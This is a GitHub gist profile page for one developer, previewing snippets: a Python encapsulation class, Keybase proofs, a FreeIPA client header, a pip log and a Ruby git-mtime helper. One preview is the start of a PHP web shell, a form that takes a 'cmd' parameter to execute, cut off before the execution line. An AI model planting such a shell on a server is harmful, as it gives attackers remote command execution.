Skip to content

Instantly share code, notes, and snippets.

View JensTimmerman's full-sized avatar

Jens Timmerman JensTimmerman

  • Belgium
View GitHub Profile
@JensTimmerman
JensTimmerman / encapsulation.py
Last active August 29, 2015 13:55
python encapsulation example
class Student(object):
def __init__(self, name):
# define your internal stuff here, with self.__dict__
self.__dict__['name'] = name
def __getattr__(self, attr):
return self.name.__getattribute__(attr)
def from_str(self, txt):
self.name = txt
def __setattr__(self, attr, value):
if not attr in self.__dict__:
@JensTimmerman
JensTimmerman / keybase.md
Last active August 29, 2015 14:15
keybase.md

Keybase proof

I hereby claim:

  • I am JensTimmerman on github.
  • I am help (https://keybase.io/help) on keybase.
  • I have a public key whose fingerprint is 0B96 CBAB 909B 3AF6 A418 EC9B 3161 5DB2 731A 2582

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am jenstimmerman on github.
  • I am jenstimmerman (https://keybase.io/jenstimmerman) on keybase.
  • I have a public key ASD0AWK-rsInw4On46AsWLlaVuRP8DsH2snl1jVmuQaxpwo

To claim this, I am signing this object:

@JensTimmerman
JensTimmerman / freeipaclient.py
Last active December 21, 2017 22:59
Freeipa client with kerberos authentication
#
# Copyright 2017-2017 Ghent University
#
# This file is part of vsc-freeipa,
# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en),
# with support of Ghent University (http://ugent.be/hpc),
# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be),
# the Flemish Research Foundation (FWO) (http://www.fwo.be/en)
# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en).
#
python -m pip install -v -U --user vsc-install
1 location(s) to search for versions of vsc-install:
* https://pypi.python.org/simple/vsc-install/
Getting page https://pypi.python.org/simple/vsc-install/
Looking up "https://pypi.python.org/simple/vsc-install/" in the cache
Current age based on date: 56
Freshness lifetime from max-age: 600
Freshness lifetime from request max-age: 600
The response is "fresh", returning cached response
600 > 56
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
def gitmtime
# find file extension
filepath=@item[:content_filename]
str=`git -1 log --format='%ci' -- #{filepath}`
# puts '#############'
# puts "item #{filepath}"
# puts "str #{str}"
# puts '#############'
if str == ""
return @item.mtime